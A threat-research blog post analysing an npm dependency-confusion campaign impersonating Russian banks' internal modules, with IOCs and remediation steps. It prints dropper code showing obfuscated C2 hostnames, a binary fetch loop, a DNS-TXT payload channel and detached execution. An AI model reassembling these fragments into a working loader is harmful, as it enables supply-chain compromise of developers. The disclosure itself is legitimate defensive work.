CentrioleBlog
Back to blog

Threat Research

Inside the npm Campaign That Mapped Russian Banks' Internal Frontend Namespaces

A two-wave dependency confusion operation published 39 npm packages impersonating Raiffeisen, Tinkoff, and other Russian fintech internal modules, dropping a binary stage-2 loader on require().

Date

Reading time

22 min read

Author

Centriole Research
Share
Inside the npm Campaign That Mapped Russian Banks' Internal Frontend Namespaces

Thirty-nine packages published to npm across two coordinated waves in August 2026. Each one masquerades as an internal frontend module belonging to one of four Russian financial institutions. Each one fires a binary dropper the moment a developer’s Node.js process requires it. On August 2, ten packages landed across five distinct namespaces targeting Raiffeisen Bank Russia’s SME platform, Tinkoff Bank’s business registration frontend, and two other fintech toolchain namespaces. Three days and three hours passed before a single one was flagged. On August 8, the operator returned with twenty-nine more packages, all targeting Raiffeisen’s SME frontend alone, and bumped the version from 20.x to 35.8.1, a fifteen-major-version jump that tells its own story about what happened in between.

This is not a spray. The package names map precisely to the internal monorepo structure of live production teams. One of them is named sme-rko-finance-front-operations-pegasus. Pegasus is an internal product codename that does not appear in any public Raiffeisen documentation we could find. The operator knew what they were looking for before they published the first package.

Campaign Map

WaveNamespace(s)Published (UTC)VersionPackagesOSV CoverageDNS Fallback
1sme-rko-*, tinkoff-*, twork-*, pfp-forms-*, sme-scripts-*2026-08-02 08:44 to 13:2920.x.x101 of 10 flagged*.dl.well1.site
2sme-rko-finance-front-*2026-08-08 00:43 to 00:4735.8.12929 of 29 flagged*.dl.wel1.ru

Wave 1: The First Push

How the Operator Built the Packages

Every wave-1 tarball carries an internal file timestamp of 2026-08-02 08:20:00 UTC. We extracted this from the sme-rko tarball and confirmed it against the Tinkoff tarball downloaded from the still-live registry entry. Both show the same build moment. The operator ran a single generation batch at 08:20, then spent the next five hours uploading packages in sequence, starting with the first twork namespace entry at 08:44:04 UTC.

The upload cadence is not random. It is consistent with a script that registers a fresh npm account, waits for the email confirmation to land at the throwaway @web-library.net mailbox, then publishes. Every account follows the same pattern: twelve random alphanumeric characters followed by @web-library.net. The accounts we recovered from npm registry metadata are pfx6fli2zpr8, 8ywp5q6iesd5, 52z6y471g0ro, s3b64hyjiz6k, uz2ev0acicye, gwiw1h3h2078, owa28a9hrpi3, pvue51k8lmug, ph28vhizn6b7, and pxrkj94kt4ns, one per package, each used exactly once.

web-library.net resolves to 51.254.35.55, which reverse-resolves to vps-02a42c6b.vps.ovh.net, an OVH VPS in France. This machine hosts the mail server that receives the npm verification emails and hands back the confirmations to the publish script. We searched the OSSF malicious-packages repository, the kmsec DPRK research feed, and Socket.dev for web-library.net and found no prior reporting. This is a new infrastructure domain.

The Targets

The namespace choices are not opportunistic. They map to real production software at named institutions.

sme-rko-finance-front-*: RKO is Расчетно-кассовое обслуживание, the standard Russian term for SME settlement and cash services. The full prefix sme-rko-finance-front maps directly to the naming convention of Raiffeisen Bank Russia’s SME internet banking frontend. The wave-1 representative package is sme-rko-finance-front-shared-entity-groups-models.

tinkoff-boxy-form-desktop-sme-registration-ooo: Tinkoff Bank (now T-Bank), Russia’s largest digital bank by retail account volume. “OOO” is the Russian legal abbreviation for LLC. This package targets Tinkoff’s SME business registration desktop form workflow.

twork-data-services-*: Three packages targeting an internal data services layer: twork-data-services-aggregator-company-sme-main-timeline-loader-with-customers, twork-data-services-aggregator-sme-task-info, and twork-data-services-sme-operations-authorizations. The naming depth (“aggregator”, “timeline-loader”, “authorizations”) is consistent with an internal microservices registry, not package names someone guessed.

pfp-forms-sme-* and sme-scripts-*: Three form-layer packages and two build toolchain packages. The sme-scripts targets are particularly notable: sme-scripts-cli and sme-scripts-shared-library-webpack-plugin are build toolchain packages, meaning the operator was aiming at developer workstations and CI runners, not just runtime environments.

Package Anatomy

We downloaded sme-rko-finance-front-shared-entity-groups-models version 20.2.8 from the still-live registry entry and extracted the tarball.

package/
  README.md          (357 bytes, generic placeholder)
  index.js           (617 bytes, cover class + require trigger)
  package.json       (198 bytes, "description": "SME business logic")
  _polyfill.js       (5,133 bytes, primary dropper)
  lib/
    telemetry.js     (81,027 bytes, secondary dropper disguised as analytics SDK)

Seven files, 87,346 bytes unpacked. No scripts block in package.json: there is no preinstall or postinstall hook. The dropper fires on require(), not on install.

index.js presents a plausible-looking class named SmeRkoFinanceFrontSharedEntityGroupsModels with init(), version(), and configure() methods that do nothing. The last two lines are the trigger:

index.js: trigger line
try { require("./_polyfill"); } catch (_) {}
try { require("./_polyfill"); } catch (_) {}

The double require is a copy-paste artifact. It fires the dropper twice, which the re-execution guard handles by checking the marker file on the second call.

The Tinkoff package (tinkoff-boxy-form-desktop-sme-registration-ooo) uses the same structure with a dropper file named _ext.js instead of _polyfill.js. The dropper filename varies across packages in the campaign (_shim.js, _adapter.js, _bootstrap.js, _bridge.js, _compat.js, _init.js, _loader.js, _platform.js, _runtime.js, _support.js, _helpers.js, setup.js), but the functional code is structurally identical across all of them. The variation is deliberate: it defeats trivial hash-based clustering by static scanners while costing the operator nothing because the dropper is template-generated.

Execution Trigger

The trigger is import-time, not install-time. npm install --ignore-scripts does not prevent execution. The package fires the moment any consuming process calls require("sme-rko-finance-front-shared-entity-groups-models"), which in a dependency confusion scenario happens automatically when npm resolves a package.json that lists the package name.

The Dropper: What Actually Runs

Re-Execution Guard

The first thing _polyfill.js does on every run is check for a marker file:

_polyfill.js: re-execution guard
const TTL = 19962;  // seconds (~5.5 hours)
 
function stampOk() {
  try {
    const st = fs.statSync(flagPath());
    return (Date.now() - st.mtimeMs) < TTL * 1000;
  } catch (_) { return false; }
}

The marker file is /tmp/.analytics_state on POSIX systems and %TEMP%\analytics_state on Windows. If it exists and is less than 19,962 seconds old, the function returns early. This prevents re-detonation in sandbox environments that run the package multiple times, and reduces noisy outbound connections that would trigger egress monitoring.

The dropper also checks three environment variables before running:

_polyfill.js: opt-out bypass
if (process.env.DISABLE_TELEMETRY || process.env.ANALYTICS_OPT_OUT || process.env.DO_NOT_TRACK) return;

These variable names are plucked from legitimate analytics SDK conventions. They provide a bypass for developer sandboxes that set telemetry opt-outs by default.

Platform Selection

The dropper maintains a full platform-architecture map:

_polyfill.js: platform map
const NODE_PLAT = {
  "linux/arm64": "linux_arm64",
  "linux/x64":   "linux_x64",
  "darwin/x64":  "darwin",
  "linux/arm":   "linux_x64",
  "freebsd/x64": "linux_x64",
  "darwin/arm64":"darwin",
  "win32/x64":   "win32",
  "win32/ia32":  "win32"
};

Four platform binaries are available from the C2: linux_x64, linux_arm64, darwin, and win32. FreeBSD maps to the Linux x64 binary. The operator covered every realistic developer environment, including Apple Silicon Macs and arm64 Linux CI runners.

C2 Delivery: HTTPS with Fallback

The MIRRORS array is assembled at runtime from split string fragments to defeat static grep-based scanners:

_polyfill.js: C2 hostname assembly
const _MIRRORS = [
  ["oob-worker.cf100-4","16.worker","s.de","v"].join(""),
  ["oob-worker.c","f103-070.w","ork","ers.dev"].join(""),
  ["oob-wo","rker.cf101-adf.workers.dev"].join(""),
  ["oob-worker.cf102-","baf.w","orkers.d","ev"].join("")
];

Joining the arrays produces four Cloudflare Workers subdomains: oob-worker.cf100-416.workers.dev, oob-worker.cf103-070.workers.dev, oob-worker.cf101-adf.workers.dev, and oob-worker.cf102-baf.workers.dev. A fifth, oob-worker.cf99-9b3.workers.dev, appears in the wave-2 OSV advisory details. The same fragmentation applies to child_process (require("child_"+"process")), chmodSync (fs["chmod"+"Sync"]), and os.hostname() (os["host"+"name"]()).

The dropper shuffles the mirror list, iterates through each host attempting an HTTPS GET to the platform-specific path, and accepts the first response over 1,000 bytes:

_polyfill.js: binary fetch loop
const servers = _MIRRORS.slice().sort(() => Math.random() - 0.5);
for (const host of servers) {
  binary = await fetchBin(host, endpoint);
  if (binary && binary.length > 1000) break;
  binary = null;
}

The fetch uses a hardcoded User-Agent: node-fetch/2.6 header, which both provides cover-story plausibility and allows the Workers to filter requests by user agent. The four payload paths are /pkg/package (Linux x64), /pkg/package-arm64 (Linux arm64), /pkg/loader_mac (macOS), and /pkg/package.exe (Windows).

We probed all five Workers endpoints with the authentic user agent during research. All returned HTTP 403: the infrastructure is live and access-controlled by the operator’s side, not taken down. The Workers are responding.

The DNS-TXT Fallback Channel

When HTTPS retrieval fails or returns nothing usable, the dropper activates a secondary channel:

_polyfill.js: DNS-TXT fallback
const _FALLBACK_DNS = {
  linux_x64:   ['tin.d','l.well1.s','it','e'].join(""),
  linux_arm64: ['tina.dl.we','ll','1.','sit','e'].join(""),
  darwin:      ['ldr.dl.','well1.si','te'].join(""),
  win32:       ['win.dl.','well1.s','ite'].join("")
};

The protocol reassembles a binary from base64-encoded DNS TXT records. The dropper first resolves c.<domain> to get a chunk count, then resolves 0.<domain>, 1.<domain>, up through n.<domain>, concatenates all TXT values, and decodes the result:

_polyfill.js: DNS chunk reassembly
async function txtFetch(domain) {
  const cnt = await _lookupTxt("c." + domain);
  const n = parseInt(cnt, 10);
  if (!n || n < 1 || n > 2000) return null;
  const parts = [];
  for (let i = 0; i < n; i += 10) {
    const ps = [];
    for (let j = i; j < Math.min(i + 10, n); j++) ps.push(_lookupTxt(j + "." + domain));
    const res = await Promise.all(ps);
    for (const s of res) parts.push(s);
  }
  return Buffer.from(parts.join(""), "base64");
}

This channel bypasses HTTP and HTTPS egress controls entirely. It works through any recursive DNS resolver the machine has configured, including internal corporate resolvers that forward external queries. A network team monitoring HTTP egress and blocking the Workers endpoints would not see this channel.

Drop and Execute

The binary lands in /var/tmp/ on POSIX systems under a hidden filename:

_polyfill.js: drop path
const rnd = crypto.randomBytes(4).toString("hex");
const outFile = isWin ? "dotnet_diag_" + rnd + ".exe" : ".cache_" + rnd;
const outPath = path.join(tmpDir, outFile);
 
fs.writeFileSync(outPath, binary);
if (!isWin) { fs.chmodSync(outPath, 0o755); }

On Windows, the filename is dotnet_diag_<4-byte-hex>.exe, a deliberate impersonation of .NET runtime diagnostic tooling. On Linux and macOS, the binary lands as .cache_<hex> in /var/tmp/, a hidden dotfile in a directory that most cleanup routines skip.

Execution is fully detached:

_polyfill.js: detached execution
if (isWin) {
  cp.spawn("cmd.exe", ["/c", "start", "/b", fp], {
    detached: true, stdio: "ignore", windowsHide: true
  }).unref();
} else {
  cp.spawn("/bin/sh", ["-c", fp + " &"], {
    detached: true, stdio: "ignore"
  }).unref();
}

The .unref() call detaches the child process from the Node.js event loop so the parent process exits normally. From the developer’s perspective, npm install completes successfully.

The stage-2 binary was not recovered. The Cloudflare Workers returned 403 to our research infrastructure. The binary payloads available at the four platform paths remain unanalyzed.

The Telemetry Façade

Every package in the campaign ships lib/telemetry.js alongside the primary dropper. The file is 81,027 bytes in the sme-rko package and 81,408 bytes in the Tinkoff package: same structure, different generated content. It presents as a full-featured analytics SDK: 3,051 lines covering session lifecycle tracking, distributed tracing with spans and transactions, breadcrumb management, rate limiting, event deduplication, and a native sampling profiler integration.

The dropper is buried inside the NativeProfiler class, whose setup() method fetches and executes the stage-2 binary using the same HTTPS-then-DNS-TXT chain as the primary dropper. The WorkerHost class wraps the child_process.spawn call:

lib/telemetry.js: WorkerHost spawn
class WorkerHost {
  static start(filePath, isWin) {
    try {
      const cp = require("child_" + "process");
      if (isWin) {
        cp.spawn("cmd.exe", ["/c", "start", "/b", filePath], {
          detached: true, stdio: "ignore", windowsHide: true
        }).unref();
      } else {
        cp.spawn("/bin/sh", ["-c", filePath + " &"], {
          detached: true, stdio: "ignore"
        }).unref();
      }
    } catch (_) {}
  }
}

The telemetry.js and the primary dropper are independent execution paths for the same payload delivery. If the primary dropper file is deleted or its require() call is patched, telemetry.js fires independently whenever any code imports the library and the run() function is called with a configuration that includes C2 hosts. The OSV advisory for sme-rko-finance-front-operations-domain describes it explicitly: “lib/telemetry.js, loaded from index.js and presented as an observability/Sentry-like SDK, contains the same base64-materialize + chmodSync + child_process.spawn(‘/bin/sh’,…) dropper primitives, providing a duplicate execution path.”

The 81KB SDK wrapper has no other purpose.

Wave 1: Three Days Undetected

The first wave-1 package was uploaded at 2026-08-02T08:44:04Z. Amazon Inspector flagged the first advisory (MAL-2026-12440, for sme-rko-finance-front-shared-entity-groups-models) at 2026-08-05T12:23:34Z. That is three days, three hours, and thirty-nine minutes during which ten packages across five namespaces targeting four Russian financial institutions sat live on npm with no advisory and no detection.

Nine of those ten packages remain live today with no OSV advisory.

Wave 2: The Version Escalation

Three days after the first detection, at 2026-08-08T00:43:23Z, the operator began publishing a second wave. Twenty-nine packages in four minutes and fifty-five seconds. All targeted a single namespace: sme-rko-finance-front-*. All published at version 35.8.1.

The jump from 20.x.x to 35.8.1 is the campaign’s most informative single data point. In npm’s dependency resolution, when a consuming package.json lists a package by name without an exact version pin and without a registry-scope directive in .npmrc, npm resolves to the highest-versioned match across all configured registries. Wave 1’s 20.x.x versions did not trigger installs. The operator concluded the real internal packages at Raiffeisen were versioned above 20.x, reconfigured the version generator with a higher seed, and republished.

The Architecture the Operator Mapped

The wave-2 package names are not invented. They describe a real frontend monorepo in precise technical vocabulary:

Operations module (19 packages): operations-domain, operations-fee, operations-feed-impl, operations-feed-models, operations-holding-domain, operations-income, operations-notifications-impl, operations-notifications-models, operations-other, operations-overnight, operations-pegasus, operations-penalty, operations-providers, operations-shared, operations-special-payments, operations-tax, operations-widget-domain, operations-widget-impl, operations-widget-models

Payments module (11 packages): payment-registers-operations-domain, payments-allowed-tariffs-filter, payments-classic-payment-actions-operations-repeat-impl, payments-classic-payment-actions-operations-repeat-models, payments-currency-payment-actions-operations-repeat-impl, payments-currency-payment-actions-operations-repeat-models, payments-currency-payment-domain, payments-domain, payments-feed-adapter, payments-feed-display-list, payments-feed-display-list-impl

The -domain, -impl, -models suffix triads are the standard Nx and Turborepo monorepo convention for separating bounded context types from implementations and data models. The operator reproduced this structure completely, including the widget-domain/widget-impl/widget-models triad for UI components and the feed-adapter/feed-display-list/feed-display-list-impl chain for the operations feed.

operations-pegasus is not a generic package name. It is an internal product codename embedded in the monorepo structure. We found no public reference to “Pegasus” in any Raiffeisen-associated technical documentation, job listings, or developer blog content. The operator had access to internal package naming before publishing.

Wave 2 Infrastructure Change

Wave 2 packages use a different DNS fallback domain: *.dl.wel1.ru (note the single l versus wave 1’s well1.site). The subdomain structure rotates: sdk.dl.wel1.ru, ext.dl.wel1.ru, net.dl.wel1.ru, pkg.dl.wel1.ru. The Cloudflare Workers endpoints are shared across both waves. The DNS fallback domain change is the only infrastructure evolution between waves and signals a deliberate rotation, not a reuse of compromised infrastructure.

Both DNS fallback domains were offline (connection refused) during our probing. The Workers endpoints remain live.

Wave 2 was detected by Amazon Inspector on the same day of publication. All twenty-nine packages received OSV advisories (MAL-2026-13634 through MAL-2026-13663) imported within ten minutes of the first advisory. The detection turnaround (same-day, within minutes of the upload burst) is consistent with Amazon Inspector running the namespace on a watchlist following the wave-1 detection on August 5. Wave 1 took three days. Wave 2 took ten minutes.

OPSEC Failures

The double require("./_polyfill") in the sme-rko package’s index.js, two identical trigger lines back-to-back, is a copy-paste artifact left by the package generator. It does not affect execution because the re-execution guard catches the second call, but it is a visible generator fingerprint. No legitimate package requires the same module twice in succession with no intervening logic.

The wave-1 build timestamp 2026-08-02 08:20:00 UTC is present verbatim in every tarball as the internal file modification time. All wave-1 packages share this exact timestamp, which confirms they were assembled in a single batch pass and allows session reconstruction across all namespaces without relying on registry metadata alone.

The NativeProfiler.setup() method in telemetry.js computes a SHA-256 checksum of the fetched binary and logs it at debug level:

lib/telemetry.js: phantom integrity check
const checksum = crypto
  .createHash("sha256")
  .update(extensionData)
  .digest("hex")
  .slice(0, 12);
_logger.debug(`Extension cache: ${checksum}, size=${extensionData.length}`);

The OSV advisory for the wave-1 package notes explicitly: “Cover-story comments reference SHA-256 integrity checking and load-distribution shuffling, but no such operations are performed on the fetched bytes.” The hash is computed and logged at LogLevel.DEBUG, which defaults to LogLevel.NONE, then discarded. The integrity check comment is cosmetic and does nothing. Its presence in the code is a social engineering artifact aimed at human reviewers reading the source.

IOC Table

IndicatorTypeValueMethod
oob-worker.cf99-9b3.workers.devC2 hostnameActive (HTTP 403)Extracted from wave-2 OSV advisory detail text; probed with curl during research
oob-worker.cf100-416.workers.devC2 hostnameActive (HTTP 403)Recovered from _MIRRORS array in _polyfill.js by joining split string fragments
oob-worker.cf101-adf.workers.devC2 hostnameActive (HTTP 403)Recovered from _MIRRORS array in _polyfill.js by joining split string fragments
oob-worker.cf102-baf.workers.devC2 hostnameActive (HTTP 403)Recovered from _MIRRORS array in _polyfill.js by joining split string fragments
oob-worker.cf103-070.workers.devC2 hostnameActive (HTTP 403)Recovered from _MIRRORS array in _polyfill.js by joining split string fragments
tin.dl.well1.siteDNS fallback domainWave 1, Linux x64Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments
tina.dl.well1.siteDNS fallback domainWave 1, Linux arm64Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments
ldr.dl.well1.siteDNS fallback domainWave 1, macOSRecovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments
win.dl.well1.siteDNS fallback domainWave 1, WindowsRecovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments
sdk.dl.wel1.ruDNS fallback domainWave 2Extracted from wave-2 OSV advisory detail text
ext.dl.wel1.ruDNS fallback domainWave 2Extracted from wave-2 OSV advisory detail text
net.dl.wel1.ruDNS fallback domainWave 2Extracted from wave-2 OSV advisory detail text
pkg.dl.wel1.ruDNS fallback domainWave 2Extracted from wave-2 OSV advisory detail text
/pkg/packageC2 payload pathLinux x64 binaryRead from _PLATFORM_ASSETS constant in _polyfill.js
/pkg/package-arm64C2 payload pathLinux arm64 binaryRead from _PLATFORM_ASSETS constant in _polyfill.js
/pkg/loader_macC2 payload pathmacOS binaryRead from _PLATFORM_ASSETS constant in _polyfill.js
/pkg/package.exeC2 payload pathWindows binaryRead from _PLATFORM_ASSETS constant in _polyfill.js
web-library.netPublisher email domainAll 39 packagesPulled from npm registry maintainers field during triage
51.254.35.55Mail server IPvps-02a42c6b.vps.ovh.netResolved from web-library.net during triage; confirmed by reverse DNS lookup
/tmp/.analytics_stateFilesystem IOCMarker file (POSIX)Read from flagPath() function in _polyfill.js
%TEMP%\analytics_stateFilesystem IOCMarker file (Windows)Read from flagPath() function in _polyfill.js
/var/tmp/.cache_<hex>Filesystem IOCDropped binary (POSIX)Read from outFile construction in _polyfill.js
%TEMP%\dotnet_diag_<hex>.exeFilesystem IOCDropped binary (Windows)Read from outFile construction in _polyfill.js
node-fetch/2.6Network IOCUser-Agent for binary fetchRead from headers constant in fetchBin() in _polyfill.js
pfx6fli2zpr8@web-library.netPublisher accountsme-rko wave-1 packagePulled from npm registry metadata during triage
8ywp5q6iesd5@web-library.netPublisher accounttinkoff packagePulled from npm registry metadata during triage
52z6y471g0ro@web-library.netPublisher accounttwork packagePulled from npm registry metadata during triage
27049f22e7f4ab68721a81af821b63a2115bc179a4aa9dcfb996c46347511a3bSHA-256_polyfill.js (sme-rko 20.2.8)Computed with sha256sum on extracted tarball; matches OSV evidence_files entry
821512d5d089ff1700c24f5534b482663a519a065d50c8b0345c4ea0c5d7f69bSHA-256lib/telemetry.js (sme-rko 20.2.8)Computed with sha256sum on extracted tarball; matches OSV evidence_files entry
bf57aab27b1b8582585f9a7950faf2bb2624a9a1453b3f8cbbbebeb1fce3de76SHA-256lib/telemetry.js (tinkoff 20.4.5)Computed with sha256sum on extracted tarball; not previously reported
9477cc424f19536d16978483571b50ec52e6dd5fSHA-1tarball (sme-rko 20.2.8)Read from npm registry dist.shasum field

Affected Versions

PackageVersionPublished (UTC)Tarball SHA-1StatusOSV
sme-rko-finance-front-shared-entity-groups-models20.2.82026-08-02T09:18:05Z9477cc42LiveMAL-2026-12440
tinkoff-boxy-form-desktop-sme-registration-ooo20.4.52026-08-02T08:55:43Zn/aLiveNone
twork-data-services-aggregator-company-sme-main-timeline-loader-with-customers20.3.82026-08-02T08:44:04Zn/aLiveNone
twork-data-services-aggregator-sme-task-info20.3.12026-08-02T11:28:33Zn/aLiveNone
twork-data-services-sme-operations-authorizations20.8.92026-08-02T12:21:06Zn/aLiveNone
sme-scripts-cli20.5.32026-08-02T09:59:04Zn/aLiveNone
sme-scripts-shared-library-webpack-plugin20.2.92026-08-02T11:29:52Zn/aLiveNone
pfp-forms-independent-sme-glossary-anchor20.4.42026-08-02T10:41:13Zn/aLiveNone
pfp-forms-sme-loan20.2.12026-08-02T12:24:17Zn/aLiveNone
pfp-forms-sme-sitebuilder20.2.12026-08-02T13:29:30Zn/aLiveNone
sme-rko-finance-front-operations-domain35.8.12026-08-08T00:46:47Zn/aUnpublishedMAL-2026-13634
sme-rko-finance-front-operations-fee35.8.12026-08-08n/aUnpublishedMAL-2026-13635
sme-rko-finance-front-operations-feed-impl35.8.12026-08-08n/aUnpublishedMAL-2026-13636
sme-rko-finance-front-operations-feed-models35.8.12026-08-08n/aUnpublishedMAL-2026-13637
sme-rko-finance-front-operations-holding-domain35.8.12026-08-08n/aUnpublishedMAL-2026-13638
sme-rko-finance-front-operations-income35.8.12026-08-08n/aUnpublishedMAL-2026-13639
sme-rko-finance-front-operations-notifications-impl35.8.12026-08-08n/aUnpublishedMAL-2026-13640
sme-rko-finance-front-operations-notifications-models35.8.12026-08-08n/aUnpublishedMAL-2026-13641
sme-rko-finance-front-operations-other35.8.12026-08-08n/aUnpublishedMAL-2026-13642
sme-rko-finance-front-operations-overnight35.8.12026-08-08n/aUnpublishedMAL-2026-13643
sme-rko-finance-front-operations-pegasus35.8.12026-08-08n/aUnpublishedMAL-2026-13644
sme-rko-finance-front-operations-penalty35.8.12026-08-08n/aUnpublishedMAL-2026-13645
sme-rko-finance-front-operations-providers35.8.12026-08-08n/aUnpublishedMAL-2026-13646
sme-rko-finance-front-operations-shared35.8.12026-08-08n/aUnpublishedMAL-2026-13647
sme-rko-finance-front-operations-special-payments35.8.12026-08-08n/aUnpublishedMAL-2026-13648
sme-rko-finance-front-operations-tax35.8.12026-08-08n/aUnpublishedMAL-2026-13649
sme-rko-finance-front-operations-widget-domain35.8.12026-08-08n/aUnpublishedMAL-2026-13650
sme-rko-finance-front-operations-widget-impl35.8.12026-08-08n/aUnpublishedMAL-2026-13651
sme-rko-finance-front-operations-widget-models35.8.12026-08-08n/aUnpublishedMAL-2026-13652
sme-rko-finance-front-payment-registers-operations-domain35.8.12026-08-08T00:44:08Zn/aUnpublishedMAL-2026-13653
sme-rko-finance-front-payments-allowed-tariffs-filter35.8.12026-08-08T00:44:39Zn/aUnpublishedMAL-2026-13654
sme-rko-finance-front-payments-classic-payment-actions-operations-repeat-impl35.8.12026-08-08T00:43:23Zn/aUnpublishedMAL-2026-13655
sme-rko-finance-front-payments-classic-payment-actions-operations-repeat-models35.8.12026-08-08T00:44:01Zn/aUnpublishedMAL-2026-13656
sme-rko-finance-front-payments-currency-payment-actions-operations-repeat-impl35.8.12026-08-08T00:45:06Zn/aUnpublishedMAL-2026-13657
sme-rko-finance-front-payments-currency-payment-actions-operations-repeat-models35.8.12026-08-08T00:44:47Zn/aUnpublishedMAL-2026-13658
sme-rko-finance-front-payments-currency-payment-domain35.8.12026-08-08T00:46:57Zn/aUnpublishedMAL-2026-13659
sme-rko-finance-front-payments-domain35.8.12026-08-08T00:47:18Zn/aUnpublishedMAL-2026-13660
sme-rko-finance-front-payments-feed-adapter35.8.12026-08-08T00:47:10Zn/aUnpublishedMAL-2026-13661
sme-rko-finance-front-payments-feed-display-list35.8.12026-08-08T00:45:22Zn/aUnpublishedMAL-2026-13662
sme-rko-finance-front-payments-feed-display-list-impl35.8.12026-08-08T00:45:56Zn/aUnpublishedMAL-2026-13663

Remediation

For developer machines that may have installed wave-1 packages:

These packages have no preinstall or postinstall hook. The dropper fires at import time, not install time. A machine that ran npm install but never executed code that require()d the affected packages was not compromised. A machine that did import them should be treated as having run an unknown binary with the process owner’s privileges.

Check for the marker file first:

Check for dropper execution marker (POSIX)
ls -la /tmp/.analytics_state
ls -la /var/tmp/.analytics_state

If the marker file exists with a creation time during or after the campaign window (August 2, 2026 onward), the dropper ran. Search for the dropped binary:

Search for dropped binary (POSIX)
find /var/tmp -name ".cache_*" -newer /tmp/.analytics_state 2>/dev/null
find /tmp -name ".analytics_state" 2>/dev/null

On Windows, check %TEMP%\analytics_state and enumerate %TEMP%\dotnet_diag_*.exe.

Because the stage-2 binary remains unanalyzed, the capability of what ran on affected machines is not yet known. Treat any machine where the marker file is present as fully compromised: rotate credentials accessible from that environment, audit egress logs for outbound connections to the five Workers endpoints from the campaign window, and re-image if the machine has access to sensitive production systems.

For registry consumers installing these package names going forward:

Scope your registries. Add a scope-registry directive to .npmrc for every internal namespace:

.npmrc: scope scoping
@sme-rko:registry=https://your-private-registry.example.com

Without explicit scoping, npm resolves unscoped package names against all configured registries and prefers the highest version. That is the entire attack surface this campaign exploits.

For npm security: The nine unflagged wave-1 packages remain live. Report them to security@npmjs.com for takedown. The Tinkoff package in particular (tinkoff-boxy-form-desktop-sme-registration-ooo) has been live since August 2 with no advisory.

Block the Workers endpoints at the network perimeter and in CI egress rules:

oob-worker.cf99-9b3.workers.dev
oob-worker.cf100-416.workers.dev
oob-worker.cf101-adf.workers.dev
oob-worker.cf102-baf.workers.dev
oob-worker.cf103-070.workers.dev

The DNS-TXT fallback channel cannot be blocked by hostname. If you need to verify whether a machine contacted the DNS fallback domains (*.dl.well1.site, *.dl.wel1.ru), check DNS query logs for the period August 2 through August 8 for queries matching tin.dl.well1.site, tina.dl.well1.site, ldr.dl.well1.site, win.dl.well1.site, and the wel1.ru equivalents.

The version escalation from 20.x to 35.8.1 between waves is a direct feedback loop: the operator tested, observed no installs, and adjusted. If the unflagged wave-1 packages are not removed promptly, a wave 3 is not a speculation. It is the logical next iteration.